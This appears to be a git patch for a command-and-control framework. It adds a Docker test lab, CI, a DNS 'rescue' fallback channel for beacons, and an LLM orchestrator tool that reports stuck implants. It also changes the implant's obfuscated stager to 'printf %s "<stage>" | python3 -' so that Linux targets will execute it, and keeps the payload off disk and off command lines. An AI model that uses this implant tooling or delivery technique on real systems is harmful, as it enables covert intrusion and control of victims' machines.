giving the SMB listener "a valid +token"; only the DNS listener has that concept (`listeners/dns.py:79` is +the one constructor taking `listener_token`, and the shipped compose gives +the variable to the DNS service alone). Both were caught by an implementer +reading the design against the code, which is what the review loop is for. + +## The driver + +`tools/e2e_lab.py`, following the house pattern that +`tools/listener_docker_rig.py` set: bring it up, run one scenario, assert, +tear down, exit non-zero on failure. It is not a unittest module, because +it needs Docker and must be skippable; it prints what it checked and why. + +``` +python3 tools/e2e_lab.py # every scenario +python3 tools/e2e_lab.py rescue # one of them +python3 tools/e2e_lab.py --keep # leave it up to look at +python3 tools/e2e_lab.py --shipped-image # the real team-server image +``` + +With no Docker it exits 2 and says so, rather than failing in a way that +looks like a product fault — the existing rig's convention. + +The compose file, the resolver config template and the two Dockerfiles +live in `software/tests/lab/`. The driver lives in `tools/` with the other +rigs. Splitting them is my call: `tools/` is where this project keeps +things a human runs, and a compose file is not that. + +### Scenarios + +1. **`rescue`** — the named gap. HTTPS, SMB and QUIC cannot route; the + resolver answers and the listener relays. Asserts: exactly **one** + rescue query in the resolver's own query log across four stuck cycles, + the name under 253 characters with no label over 63, and the operator's + agent record carrying a `stuck` summary naming the right legs. +2. **`stale-token`** — the scenario the VM died before reaching, and the + one that proves the leg-recording fix on Linux. The listener holds a + token the server no longer accepts, so tasking over DNS returns nothing + while the rescue still arrives, because the rescue goes through the + beacon handler and needs no listener token. The ladder therefore runs + all the way down and both lower legs are really attempted. Asserts: + SMB and QUIC are reported as attempted-and-failed, **not** as + `not_attempted`. +3. **`smb-up`** — the first of the later transports, and the proof that + the shape extends. The builder check showed the first draft of this + scenario could not pass: with DNS enabled and delivering, the ladder + stops at DNS, `delivered_by` is `"dns"` which is not upstream, and a + rescue **is** sent. Simply disabling DNS would make "no rescue" vacuous, + because `_maybe_rescue` returns immediately when DNS is off. So the + scenario keeps the stale-token listener — the resolver answers, the + latch is genuinely armed, tasking over DNS returns nothing — and adds + the SMB listener to `beacon-net`. Asserts: tasking arrives over **SMB**, + and **no** rescue is sent, because an upstream leg delivered while the + latch was armed and could have fired. + +Scenario 2 is the one that must fail against the parent of the +leg-recording fix (`3dad39e`). Scenario 1's subject is the trigger +condition `delivered_by not in _RESCUE_UPSTREAM`; reverting it to +`tasking is None` must make it fail. Scenario 3 is **exempt**: it guards a +property of the lab, not a product change, so there is nothing to revert — +stated here so its absence is not read as an oversight. Results go in the +ledger at `.superpowers/sdd/2026-11-15-e2e-docker-lab/progress.md`, the +place this project already keeps them, either way. + +### What the driver asserts, and from where + +Evidence comes from the components, never from the driver's own +bookkeeping: + +- **the resolver's query log** (`log-queries`) for what crossed the wire, + because a name only appears there if a real resolver parsed it; +- **the operator API** (`/api/agents`, authenticated) for what the server + decoded; +- **the beacon container's exit code and stdout** for what the implant + did. + +Caching stays **on** in dnsmasq. The listener answers with TTL 1 and a +cached rescue would be a defect worth catching, so switching the cache off +would hide it. + +## CI + +`.github/workflows/ci.yml`, new; this repository has no CI today. Two +jobs, because they fail for different reasons and a reader should be able +to tell which broke: + +| Job | Runs | Why | +|---|---|---| +| `tests` | the full unittest suite | the primary guard, ~7 minutes locally, ~10 in a container | +| `lab` | `python3 tools/e2e_lab.py` | the integration proof | + +On `ubuntu-latest`, where Docker is present and published UDP is iptables +rather than a userspace proxy — so the lab is, if anything, less +constrained there than here. + +The `tests` job needs three system packages the suite reaches for and +`python:3.9-slim` does not carry: **`git`** (the requirements-floor and +leak-walk tests shell out to it), **`ffmpeg`** (the figure and GIF tools +encode with it) and **`procps`** (`ps`, which the supervisor and tunnel +spawn tests read a child's command line with). Measured: without them, +19 errors and 6 failures that say nothing about the code. + +Python is pinned to **3.9**, because `software/tests/requirements.txt` +states that is the interpreter the suite runs in and has only ever run +against. Testing a version nobody develops against would report failures +nobody asked for. + +Running both rather than only the lab is my call. A repository with no CI +gains more from the suite than from the lab, and the lab's value is +precisely that it covers what the suite cannot; running one without the +other would misrepresent either. + +Two things CI must not do, and the workflow will say so: no secrets (the +lab generates its key per run with `os.urandom`), and no network egress +beyond the base images. + +## Three Linux defects this work also fixes + +Not part of the lab, and in scope by the operator's decision: the Linux +suite was run in a container before the CI job was written, and what it +found is the best argument for that job existing. + +Without `git`, `ffmpeg` and `procps` in the image: 19 errors, 6 failures. +With them: **three remain**, and all three are real defects on the +platform the implant targets. 3438 tests ran on Linux against 3258 on +macOS — 180 that had never executed anywhere. + +### 1. The Unix one-liner cannot be executed on Linux at all + +`oneliner_unix` is `python3 -c ""` and the stage is **135,492 +bytes**. Linux refuses any single `argv` entry over **131,072** — +measured exactly: 131,072 passes, 131,073 raises `OSError 7, Argument +list too long`. This is not a shell limit and no quoting avoids it; it is +`MAX_ARG_STRLEN` in `execve`. macOS has no equivalent, which is why this +has never been seen here. + +Both Linux delivery routes are therefore dead. The pasted one-liner +cannot run, and the POSIX stager's probe-and-delegate path cannot either: +it does `eval ''`, and although `eval` is a shell builtin the +shell must still `execve` python with the oversized argument. Measured: +`eval: python3: Argument list too long`. + +`docs/TUNNEL.md` documents the Windows one-liner as undeliverable at this +size and says of the POSIX stager that "on a host that has a Python it +runs the ordinary one-liner, which is the common case on Linux and +macOS". That sentence is false, and it names the project's primary target. + +**The fix: the stage moves from python's argv to python's stdin.** +`printf %s "" | python3 -`. Measured to deliver 135,491 bytes and +execute. `printf` is a shell builtin in dash, bash and busybox ash, so +nothing `execve`s the payload; the only exec is python itself, with a +tiny argument list. The existing quoting invariant survives untouched — +the stage still carries no `$`, backtick, backslash or `"`, so the +double-quoted form is still safe, and `eval` in the stager handles a pipe +as readily as a command. + +This is my call on the shape of a shipped artifact, so it is worth saying +what it does **not** change: the Windows one-liner stays as it is, since +it is already documented as undeliverable and is used through +`Invoke-Expression`, where no length limit applies. `docs/TUNNEL.md` gains +the Linux limit it was missing. + +### 2. and 3. `stop()` leaves the NTLM relay's port accepting on Linux + +`_NtlmProxyRelay.stop()` sets `_running = False`, closes the listening +socket, and joins the thread. The thread is blocked in `accept()`. +Closing a descriptor another thread is blocked on is undefined in POSIX: +macOS wakes the `accept()`, Linux does not, and the socket stays bound +and **accepting** until it returns. Two tests prove it — +`test_stop_closes_listener` and `test_stop_tears_down_relay` — by +connecting after `stop()` and getting a connection instead of a refusal. + +The operator believes the relay is down and the target still has an open, +accepting port. The portable fix is `shutdown(SHUT_RDWR)` before `close()`, +which does wake a blocked `accept()` on both platforms, with the existing +`OSError` arm of the loop catching the result. + +Both of these live in tunnel and implant code that two other worktrees +are currently working in (`reverse-socks-tunnel`, `implant-shell-session`). +That is a real conflict risk and the reason I proposed a separate branch; +the operator chose to carry them here, so the plan sequences them **first**, +each with its own commit, so they can be split out if a conflict makes +that necessary. + +## The gap in scope: a rescue nobody can see + +In scope by the operator's decision, having been flagged above as +deliberately excluded. + +`unattributed_rescues` is a module-level list. `_handle_rescue` appends to +it when no agent's fingerprint matches, trims it to 50, and **nothing +reads it** — there is no route, no GUI surface, no log line. A beacon that +never managed to register is therefore invisible: its diagnosis is +received, decrypted, decoded and discarded into memory. That beacon is the +one most likely to be stuck, because never registering means the way out +was never open. + +Three surfaces, in increasing cost, and all three are needed because each +reaches a different reader: + +1. **A log event on arrival.** `_log_event("RESCUE", …)` the moment a + record cannot be attributed. The Server Log drawer already renders + entries and already escapes them, so this costs no GUI code and makes + the event non-silent immediately. Safe to log in full: the record holds + a 2-byte fingerprint and leg codes, and no string from the target can + reach it by construction. +2. **An authenticated operator route.** `GET /api/rescues/unattributed`, + returning the structured records. Operator socket only, like every + other `/api/` route. +3. **The agent tool.** `get_stuck_beacons` gains an `unattributed` key + beside `stuck`. Deliberately a separate key: there is no beacon id to + task, so a model must not be able to mistake one of these for something + it can act on. The tool's description has to say that. + +And one that touches the operator HTML, which is where this feature's +worst defect came from yesterday: + +4. **A bell notification.** "Visible in a drawer nobody opens" is not + addressed, so the GUI polls the new route and raises a `toast`. This is + the only part that edits `_OPERATOR_HTML`, so the plan gives it its own + task whose acceptance is **a browser, not a regex**: the panel must be + opened and the notification seen. A source-level assertion that a + string is present is what let `escHtml(info.stuck.summary)` ship and + destroy the whole agent panel. The cross-GUI helper guard added in that + fix now catches that specific class automatically, which lowers the risk + but does not remove the rule. + +My call on what this does **not** do: it does not try to attribute these +records after the fact. Matching a late registration back to an earlier +unattributed rescue would need the implant id in the record, the record is +16 bytes by design, and widening it to carry one would change the wire +format for a convenience. An operator who sees "something out there is +stuck and here is why" has what this feature promised. + +## Risks, and what each would look like + +| Risk | How it shows | What then | +|---|---|---| +| aarch64 here, amd64 in CI | passes locally, fails in CI | base images are multi-arch; the driver prints `uname -m` so a report says which | +| `dnsmasq` needs an IP, not a name | resolver exits at start | static IPs on `beacon-net` via a declared subnet | +| compose drifts from the shipped file | lab proves a shape nobody deploys | the listener image is the shipped one; a test asserts the lab's listener command matches the shipped file's | +| the lab rots | nobody runs it | CI runs it on every push; that is the point of the workflow | +| a container leaks between runs | flaky, confusing | fixed project name, `down -v` in a `finally`, and the driver refuses to start if the project's containers already exist | + +## Left to the builder + +- The exact subnet numbers and static IPs. +- Whether the resolver config is a template the driver renders or a file + per scenario. Either is fine; the driver must print the effective config + on failure. +- How the beacon container is parameterised: environment variables or a + JSON config on the mount. The repository's beacon takes a config dict, + so a small entry script is expected either way. +- The waiting strategy. Poll a condition; never `sleep` a fixed guess, + and say in the failure message which condition was still unmet. diff --git a/software/agent/c2client.py b/software/agent/c2client.py index 878dc40..1d242d4 100644 --- a/software/agent/c2client.py +++ b/software/agent/c2client.py @@ -21,6 +21,7 @@ is written to that shape and does not support the old one): GET /api/agents list_agents + GET /api/rescues/unattributed unattributed_rescues GET /api/agents/ get_agent POST /api/agents//task queue_task (takes a `lane`*) GET /api/tasks/ get_task_result @@ -273,6 +274,21 @@ async def list_agents(self) -> List[dict]: raise self._bad_shape("a list of beacons") return payload + async def unattributed_rescues(self) -> List[dict]: + """Rescues the C2 received but could not match to any beacon. + + Newest first. A missing route is NOT read as "none": a 404 (or the + 405 an older team server gives, its catch-all taking only POST) + raises, because "I could not ask" and "I asked and there are none" + are different answers and the caller reports them differently. + """ + payload = await self._request("GET", "/api/rescues/unattributed") + records = self._expect_dict( + payload, "the unattributed rescues").get("unattributed") + if not isinstance(records, list): + raise self._bad_shape("a list of unattributed rescues") + return records + async def get_agent(self, agent_id: str) -> Optional[dict]: """One beacon, or None when the C2 does not know the id. diff --git a/software/agent/tools/egress.py b/software/agent/tools/egress.py index 0e709c8..3d55f45 100644 --- a/software/agent/tools/egress.py +++ b/software/agent/tools/egress.py @@ -21,6 +21,7 @@ import json +from software.agent.c2client import C2Unauthorized, C2Unavailable from software.agent.llm.provider import ToolSpec from software.agent.tools import CORE, Entry @@ -53,6 +54,29 @@ def _stuck_of(agent): return stuck if isinstance(stuck, dict) else None +def _leg_report(record): + return { + "summary": record.get("summary", ""), + # False means nothing can leave: the resolver did not answer, so a + # queued attempt will never reach it either. + "dns_answered": bool(record.get("dns_answered")), + "reported_at": record.get("at", ""), + "legs": {leg: record.get(leg) for leg in + ("https", "dns", "smb", "quic")}, + } + + +def _unattributed_entry(record): + entry = _leg_report(record) + # The two-byte tag the beacon sent, shown as the server's own log shows + # it. It is a hash, not an id: it names nothing that can be tasked, but + # two entries with the same value are very likely the same beacon. + fp = record.get("fingerprint") + ok = isinstance(fp, int) and not isinstance(fp, bool) and 0 <= fp <= 0xFFFF + entry["fingerprint"] = "%04x" % fp if ok else "" + return entry + + def _get_stuck_beacons(ctx): async def get_stuck_beacons(): agents = await ctx.c2.list_agents() @@ -61,18 +85,30 @@ async def get_stuck_beacons(): stuck = _stuck_of(agent) if stuck is None: continue - out.append({ - "beacon_id": agent.get("id") or agent.get("agent_id"), - "hostname": agent.get("hostname", ""), - "summary": stuck.get("summary", ""), - # False means nothing can leave: the resolver did not - # answer, so a queued attempt will never reach it either. - "dns_answered": bool(stuck.get("dns_answered")), - "reported_at": stuck.get("at", ""), - "legs": {leg: stuck.get(leg) for leg in - ("https", "dns", "smb", "quic")}, - }) - return {"stuck": out} + entry = _leg_report(stuck) + entry["beacon_id"] = agent.get("id") or agent.get("agent_id") + entry["hostname"] = agent.get("hostname", "") + out.append(entry) + + # Rescues the server could not attribute to any beacon. They are + # reported under their own key because there is no id to task: mixed + # into `stuck`, a model would try to queue work against one. + # + # If the fetch fails the key is OMITTED, not emptied: present means + # "I asked", so an empty list means there are none, and an absent + # key means the question could not be put. A team server older than + # the route answers 405 (its catch-all takes only POST). The + # exceptions are listed on purpose and must not be "simplified" to + # `except Exception`: a programming error on this path should crash + # loudly, not turn into a quiet "no unattributed rescues". + result = {"stuck": out} + try: + records = await ctx.c2.unattributed_rescues() + except (C2Unavailable, C2Unauthorized): + return result + result["unattributed"] = [_unattributed_entry(r) for r in records or () + if isinstance(r, dict)] + return result return get_stuck_beacons @@ -139,7 +175,14 @@ def entries(): "List beacons that reported being unable to reach the team " "server, with the reason each leg failed. `dns_answered` " "false means nothing can leave that host, so a queued " - "attempt will not arrive either.", + "attempt will not arrive either. `unattributed` lists " + "rescues the server could not match to any beacon: those " + "entries have no id and cannot be tasked, so do not try to " + "queue anything for them -- they are evidence that a beacon " + "is stuck somewhere, nothing more. Entries with the same " + "`fingerprint` are very likely the same beacon. If the " + "`unattributed` key is absent the server could not be asked; " + "present and empty means it was asked and there are none.", {"type": "object", "properties": {}}), ("orchestrator",), CORE, _get_stuck_beacons, requires_c2=True), diff --git a/software/c2/beacon.py b/software/c2/beacon.py index 2ca1abe..12a4f75 100644 --- a/software/c2/beacon.py +++ b/software/c2/beacon.py @@ -2097,6 +2097,18 @@ def start(self) -> int: def stop(self): self._running = False if self._server: + # close() alone does not wake an accept() blocked in another + # thread: closing a descriptor someone is blocked on is undefined + # in POSIX. macOS wakes it anyway (and there shutdown() raises + # ENOTCONN on a listener, so close() does the waking); Linux + # leaves the socket bound and still accepting until accept() + # returns, so a stopped relay would keep an open port on the + # target. shutdown() is what wakes it there. It can raise -- + # teardown must not, and close() below still runs. + try: + self._server.shutdown(socket.SHUT_RDWR) + except Exception: + pass try: self._server.close() except Exception: @@ -7017,11 +7029,13 @@ def _tunnel_source(self) -> Tuple[bytes, str]: A generated artifact carries its own source in the module global `_src`, bound by each obfuscation layer as it decompresses the next (`_obfuscate_layer` in server.py). That global is the only - copy there is: what this project ships is - `python3 -c ''`, where there is no file to re-run and - `sys.argv[0]` is the literal string "-c" -- which is also why - `_get_beacon_path` answers with something useless in exactly the - mode this runs in. + copy there is: what this project ships on Unix is + `printf %s '' | python3 -`, where the payload is on stdin + (Linux refuses an argv entry over 131072 bytes, so it cannot be + a `-c` argument), there is no file to re-run, and + `sys.argv[0]` is the literal string "-" ("-c" for the Windows + `python -c` one-liner) -- which is also why `_get_beacon_path` + answers with something useless in exactly the mode this runs in. No `_src` means this file was run straight from a checkout rather than built into an artifact, and then `__file__` is the source. A @@ -7313,10 +7327,12 @@ def _get_beacon_path(self) -> str: the command line carries nothing to find. Otherwise the bundled payload if there is one, and `sys.argv[0]` - if there is not -- which is the one thing this project ships as - `python3 -c ''`, where `sys.argv[0]` is the literal "-c" - and the answer is useless. A build that brought an interpreter is - exactly the build that can do better, so it does. + if there is not -- which is the one thing this project ships: + the Unix one-liner is `printf %s '' | python3 -`, where + `sys.argv[0]` is the literal "-" (the Windows `python -c` + one-liner gives "-c"), and the answer is useless. A build that + brought an interpreter is exactly the build that can do better, + so it does. """ bundled = self._bundled_payload() if bundled: diff --git a/software/c2/server.py b/software/c2/server.py index 01fcc1a..a8925f2 100644 --- a/software/c2/server.py +++ b/software/c2/server.py @@ -606,9 +606,12 @@ def _obfuscate_layer(code: str, var_mod: str) -> str: The emitted line binds the decompressed text to the module global `_src` before executing it, instead of handing it straight to `exec`. That is what lets a running artifact start a second mode of itself: - under `python3 -c` there is no file to re-run and `sys.argv[0]` is the - literal string "-c", so the only copy of the source is the one the - process is holding. `Beacon._exec_tunnel` writes it to a + under `printf %s "" | python3 -` there is no file to re-run and + `sys.argv[0]` is the literal string "-" (the Windows one-liner's + `python -c` gives "-c"), so the only copy of the source is the one + the process is holding. The payload travels on stdin rather than as + a `-c` argument because Linux refuses an argv entry over 131072 + bytes. `Beacon._exec_tunnel` writes it to a `python3 -` child on stdin, which keeps the payload off the child's command line and off the disk. @@ -935,6 +938,11 @@ def api_agents(): "caps": info.get("caps") or []}) return jsonify(agent_list) + @app.route("/api/rescues/unattributed", methods=["GET"]) + @require_auth + def api_rescues_unattributed(): + return jsonify({"unattributed": list(reversed(unattributed_rescues))}) + @app.route("/api/agents/", methods=["GET"]) @require_auth def api_agent_detail(agent_id): @@ -1887,13 +1895,21 @@ def _rand_name(n=12): }) # Double quotes on both, with single quotes inside the stage - # itself: one text that `sh -c`, `cmd.exe` and PowerShell's - # `Invoke-Expression` all hand to `-c` as a single argument. The - # stage carries no `$`, backtick, backslash or `"`, which is what - # makes the double-quoted form safe in all three. See + # itself. The stage carries no `$`, backtick, backslash or `"`, + # which is what makes the double-quoted form safe in `sh`, + # `cmd.exe` and PowerShell's `Invoke-Expression` alike. See # `_obfuscate_layer`, and `docs/TUNNEL.md` for why the inline # Windows one-liner is undeliverable at this size regardless. - oneliner_unix = f'python3 -c "{stage}"' + # + # The two differ in where the payload goes. Linux refuses any + # single argv entry over 131072 bytes (MAX_ARG_STRLEN) and the + # stage is larger, so `python3 -c ""` cannot be exec'd + # there. Unix therefore pipes it into python's stdin, through + # `printf`, which dash, bash and busybox ash all run as a builtin + # so nothing execs the payload; `%s` keeps it out of the format + # string. Windows keeps `-c`: its one-liner is only ever run + # through `Invoke-Expression`, which has no such limit. + oneliner_unix = f'printf %s "{stage}" | python3 -' oneliner_win = f'python -c "{stage}"' stagers = _stagers_for_build(gen_cfg, drops, oneliner_unix, oneliner_win) @@ -2948,6 +2964,10 @@ def _handle_rescue(payload: dict, crypto: ServerCrypto): info["last_channel"] = "dns" return _handle_beacon({"agent_id": agent_id}, crypto) + # No agent id here: the record carries a fingerprint and leg codes, + # never a string from the target, so the summary is safe to log whole. + _log_event("RESCUE", "A stuck beacon nobody can claim (fingerprint " + "%04x) says: %s" % (record["fingerprint"], stuck["summary"])) unattributed_rescues.append(stuck) del unattributed_rescues[:-_RESCUE_UNATTRIBUTED_MAX] return _fake_response() @@ -9370,10 +9390,39 @@ def _flat_filename(raw) -> str: }); } +// A rescue no beacon can claim is told once, not every tick: the server +// keeps the last 50 and never clears them, so each is keyed on who sent it +// and when. Several found in one poll -- a console opened on a server that +// has been up for a week, or a burst -- are one notification that counts +// them; the Server Log has each. +let seenRescues = {}; +async function refreshRescues(){ + if(!storedToken()) return; + const r = await api("/api/rescues/unattributed"); + // Served newest first; announced oldest first, so the newest ends on top. + const fresh = (r.unattributed || []).slice().reverse().filter(rec => { + const key = rec.fingerprint+"@"+rec.at; + if(seenRescues[key]) return false; + seenRescues[key] = true; + return true; + }); + if(fresh.length > 1){ + toast("warning", fresh.length+" Unknown Beacons Are Stuck", + fresh.length+" stuck beacons match no agent
Each is in the Server Log", 10000); + } else if(fresh.length === 1){ + const rec = fresh[0]; + const fp = ("0000"+(rec.fingerprint|0).toString(16)).slice(-4); + toast("warning", "Unknown Beacon Is Stuck", + "fingerprint "+esc(fp)+" matches no agent
"+esc(rec.summary), 10000); + } +} + if(storedToken()){ setInterval(refreshAgents, 3000); + setInterval(refreshRescues, 3000); setInterval(checkTaskResults, 2500); refreshAgents(); + refreshRescues(); toast("info","Server Online","Listening for beacon connections
Beacon traffic accepted on any POST path",6000); } else { askForToken(false); diff --git a/software/tests/lab/beacon.Dockerfile b/software/tests/lab/beacon.Dockerfile new file mode 100644 index 0000000..20e3d2a --- /dev/null +++ b/software/tests/lab/beacon.Dockerfile @@ -0,0 +1,15 @@ +# The lab's beacon: the interpreter and nothing else. +# +# `requests` was in the plan for this image and is not here, on +# measurement: beacon.py imports only the standard library (its HTTP +# session is `_HttpSession` over urllib, and says so), and it imports +# cleanly on a bare python:3.12-slim. An unused dependency would also be +# one more thing for the lab to be wrong about. +# +# The beacon must not have flask, cryptography or anything else the server +# imports: a beacon that can import the server is a beacon that might. The +# stock image has none of them, and test_e2e_lab fails if this file ever +# installs them. +# +# No source here either; see teamserver.Dockerfile. +FROM python:3.12-slim diff --git a/software/tests/lab/beacon_entry.py b/software/tests/lab/beacon_entry.py new file mode 100644 index 0000000..a482d66 --- /dev/null +++ b/software/tests/lab/beacon_entry.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python3 +"""The beacon, as the lab runs it: one scenario, a bounded number of stuck cycles. + + python software/tests/lab/beacon_entry.py --scenario rescue \\ + --zone c2.lab --cycles 4 + +Runs the real `software.c2.beacon.Beacon` with a config that enables all +four transports, and nothing is simulated: it registers over HTTPS while +the container is still attached to `c2-net`, and every leg that later +fails does so because the driver detached it and the address stopped +routing. This script only decides where each leg points and when to stop. + +`--cycles` counts *stuck* cycles: cycles in which the HTTPS leg failed. It +cannot count cycles from the start, because the beacon is healthy until +the driver severs it and a count that included those would run out before +anything was wrong. After that many, the script stops the beacon and exits +0. A beacon that is never severed runs until the container is killed; the +driver owns the timeout, and says which condition was unmet. + +The key and the ports come from the environment, never the command line, +which every user on a host can read: + + RACCOON_KEY base64 AES-256-GCM key (what the team server holds) + LAB_BEACON_PORT the team server's beacon socket + LAB_SMB_PORT the SMB listener's port + LAB_QUIC_PORT the QUIC target's port + +Every line this script prints is prefixed `lab-beacon:` so the driver can +find them among the implant's own log lines. +""" + +import argparse +import os +import socket +import sys +import traceback +from pathlib import Path + +# Run by path inside the container, with the repository bind-mounted: the +# package is reached from the checkout and not from an install. +sys.path.insert(0, str(Path(__file__).resolve().parents[3])) + +from software.c2 import beacon as beacon_mod # noqa: E402 + +# Where the SMB leg points, per scenario. Every value is a service name in +# docker-compose.yml, and test_e2e_lab fails if one stops being. +# +# The two severed scenarios point SMB at the team server's c2-net address: +# it routes while the beacon is attached and does not afterwards, which is +# the property under test. smb-up points it at a listener on beacon-net, +# which is still reachable after the severance, so the ladder has an +# upstream leg that works while the DNS listener's token does not. +SCENARIOS = { + "rescue": "teamserver", + "stale-token": "teamserver", + "smb-up": "listener-smb", +} + +_TEAMSERVER = "teamserver" +_RESOLVER = "resolver" + + +def build_config(scenario, *, zone, key, resolver, beacon_port, smb_port, + quic_port): + """The beacon configuration for `scenario`.""" + if scenario not in SCENARIOS: + raise ValueError("no scenario %r; have %s" + % (scenario, ", ".join(sorted(SCENARIOS)))) + return {"c2": { + # The floor: the beacon raises anything lower to it. + "beacon_interval_seconds": beacon_mod._MIN_INTERVAL, + "jitter_percent": 0, + "encryption_key": key, + "proxy": {"mode": "none"}, + "https": {"enabled": True, "verify_ssl": False, + "callback_url": "http://%s:%d/api/v1/beacon" + % (_TEAMSERVER, beacon_port)}, + "dns": {"enabled": True, "domain": zone, "resolver": resolver}, + "smb": {"enabled": True, "pipe_name": "msrpc_6e2f", + "server": "%s:%d" % (SCENARIOS[scenario], smb_port)}, + "quic": {"enabled": True, + "server": "%s:%d" % (_TEAMSERVER, quic_port)}, + }} + + +def _say(text): + print("lab-beacon: %s" % text, flush=True) + + +class _Done(BaseException): + """Raised at the start of a cycle to end the loop cleanly.""" + + +def _bound(beacon, cycles): + """Make the beacon's loop end after `cycles` stuck cycles. + + `_start_cycle` runs once at the top of each cycle, before it clears + anything, so what it finds in `_leg_status` is the previous cycle's + outcome. It is the one hook that sees every cycle however it ended -- + the failure arm `continue`s past both sleeps -- and the beacon's + behaviour is unchanged: the extra work is a count and a line. + """ + state = {"cycle": 0, "stuck": 0} + original = beacon._start_cycle + + def counting(): + if state["cycle"]: + legs = dict(beacon._leg_status) + stuck = "https" in legs + state["stuck"] += stuck + _say("cycle %d %s agent=%s legs=%s" % ( + state["cycle"], "stuck" if stuck else "healthy", + beacon._agent_id or "-", + ",".join("%s:%d/%d" % (name, legs[name][0], legs[name][1]) + for name in sorted(legs)) or "-")) + if state["stuck"] >= cycles: + raise _Done() + state["cycle"] += 1 + original() + + beacon._start_cycle = counting + return state + + +def main(argv=None): + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("--scenario", required=True, choices=sorted(SCENARIOS)) + parser.add_argument("--zone", required=True) + parser.add_argument("--cycles", required=True, type=int, + help="stuck cycles to run before exiting") + args = parser.parse_args(argv) + if args.cycles < 1: + parser.error("--cycles must be at least 1") + + key = os.environ.get("RACCOON_KEY", "").strip() + if not key: + print("lab-beacon: RACCOON_KEY is not set; the beacon has no key " + "to encrypt with", file=sys.stderr) + return 2 + ports = {} + for name, var in (("beacon_port", "LAB_BEACON_PORT"), + ("smb_port", "LAB_SMB_PORT"), + ("quic_port", "LAB_QUIC_PORT")): + try: + ports[name] = int(os.environ[var]) + except (KeyError, ValueError): + print("lab-beacon: %s is missing or not a port number" % var, + file=sys.stderr) + return 2 + + # The resolver is an address the beacon is configured with, as it would + # be on a real host; only this script asks Docker's DNS for it. + resolver = socket.gethostbyname(_RESOLVER) + config = build_config(args.scenario, zone=args.zone, key=key, + resolver=resolver, **ports) + _say("scenario=%s zone=%s resolver=%s smb=%s cycles=%d" % ( + args.scenario, args.zone, resolver, config["c2"]["smb"]["server"], + args.cycles)) + + beacon = beacon_mod.Beacon(config) + state = _bound(beacon, args.cycles) + failure = [] + loop = beacon._beacon_loop + + def guarded(): + try: + loop() + except _Done: + pass + except BaseException: + failure.append(traceback.format_exc()) + + beacon._beacon_loop = guarded + beacon.start() + beacon._thread.join() + beacon.stop() + if failure: + print(failure[0], file=sys.stderr) + return 1 + _say("finished after %d stuck cycles in %d" % (state["stuck"], + state["cycle"])) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/software/tests/lab/docker-compose.yml b/software/tests/lab/docker-compose.yml new file mode 100644 index 0000000..b550b83 --- /dev/null +++ b/software/tests/lab/docker-compose.yml @@ -0,0 +1,239 @@ +# The end-to-end lab: containers and networks for a Linux run of the rescue +# channel. Not a deployment -- software/c2/docker-compose.yml is that, and +# this file does not touch it. See docs/superpowers/specs/ +# 2026-11-15-e2e-docker-lab-design.md for the reasoning; the driver that +# brings this up and runs a scenario is tools/e2e_lab.py. +# +# beacon-net c2-net +# ┌──────────────┐ ┌──────────────┐ +# │ beacon │─ ─ ─ ─ ┐ │ teamserver │ beacon is attached to +# └──────────────┘ │ └──────┬───────┘ c2-net at the start and +# ┌─────▼─────┐ │ detached by the driver +# │ resolver │ │ relay-net +# └─────┬─────┘ └─────────┐ +# ┌─────▼──────────┐ │ +# │ listener-dns │───────────┘ +# └────────────────┘ +# +# The point of the arrangement is that a beacon's transports fail because +# they do not route: once the beacon is off c2-net, the team server's name +# does not resolve and its address is not reachable, which is measured +# rather than assumed. Nothing here is simulated -- no stub returns None +# and no test points a leg at a closed port. +# +# No UDP port is published, anywhere. Published UDP does not arrive on +# macOS (tools/listener_docker_rig.py measured it), and that is why the +# beacon is a container: its datagram to the resolver never crosses the +# host boundary. The operator socket is TCP and is published on loopback, +# which is how the driver and a browser reach it. +# +# Run it through the driver. By hand, from the repository root -- with +# whichever of the two spellings your Docker has, because neither can be +# assumed: +# +# docker compose -f software/tests/lab/docker-compose.yml build # plugin, v2 +# docker-compose -f software/tests/lab/docker-compose.yml build # standalone +# +# Newer `ubuntu-latest` images ship the plugin form and have dropped the v1 +# standalone binary; this development machine is the other way round -- +# `docker compose` answers `docker: unknown command` here and only the +# standalone `docker-compose` exists. So neither form works everywhere, and +# tools/e2e_lab.py detects which one does rather than hard-coding either. +# Then, with the same spelling: +# +# RACCOON_KEY=$(python3 -c "import os,base64; print(base64.b64encode(os.urandom(32)).decode())") \ +# RACCOON_TOKEN=lab docker-compose -f software/tests/lab/docker-compose.yml up +# +# `--profile smb` adds the SMB listener, which only the smb-up scenario +# wants: every other scenario needs SMB to be unreachable. +name: raccoon-lab + +services: + teamserver: + build: + context: . + dockerfile: teamserver.Dockerfile + image: raccoon-lab-teamserver + # The working tree, read-only, so the lab tests what is checked out + # and a container cannot write into it. COPY would test a snapshot + # taken at build time and need a rebuild per edit. + volumes: + - ../../..:/src:ro + working_dir: /src + environment: + - PYTHONPATH=/src + - PYTHONDONTWRITEBYTECODE=1 + - PYTHONUNBUFFERED=1 + # Both required by the server, and generated per run by the driver: + # the lab holds no secret and CI needs none. Empty makes the server + # exit at start with its own reason, as the shipped compose does. + - RACCOON_KEY=${RACCOON_KEY:-} + - RACCOON_TOKEN=${RACCOON_TOKEN:-} + # What the server accepts on its DNS tasking route. A listener + # holding a different value is the stale-token scenario. + - RACCOON_LISTENER_TOKEN=${LAB_SERVER_LISTENER_TOKEN:-lab-listener-token} + # The GUI socket is bound on every interface *inside* the container + # because the published port arrives on the container's address. It is + # still loopback-only where it matters: the host binding below. + command: > + python -m software.c2.server + --host 0.0.0.0 --port 8443 + --operator-host 0.0.0.0 --operator-port 8444 + --data-dir /data + # State is not kept: no run may see another's. + tmpfs: + - /data + ports: + # Ephemeral on the host (compose's `port` subcommand says which), so a + # developer's own 8444 is never in the way. + - "127.0.0.1::8444" + healthcheck: + # A connect, not a request: it needs no token and no route. + test: ["CMD", "python", "-c", "import socket; [socket.create_connection(('127.0.0.1', p), 2).close() for p in (8443, 8444)]"] + interval: 1s + timeout: 3s + retries: 30 + networks: + - c2-net + - relay-net + + # dnsmasq, a real recursive resolver, between the beacon and the + # listener. The beacon's resolver is this container and + # `beacon._DNS_PORT` is untouched, so the hop the rescue channel rests + # on is exercised and not bypassed. It forwards one zone to the listener + # and answers nothing else. + resolver: + build: + context: . + dockerfile: resolver.Dockerfile + image: raccoon-lab-resolver + volumes: + - ./resolver.conf:/etc/lab/dnsmasq.conf:ro + healthcheck: + # dnsmasq listens on TCP 53 as well as UDP. + test: 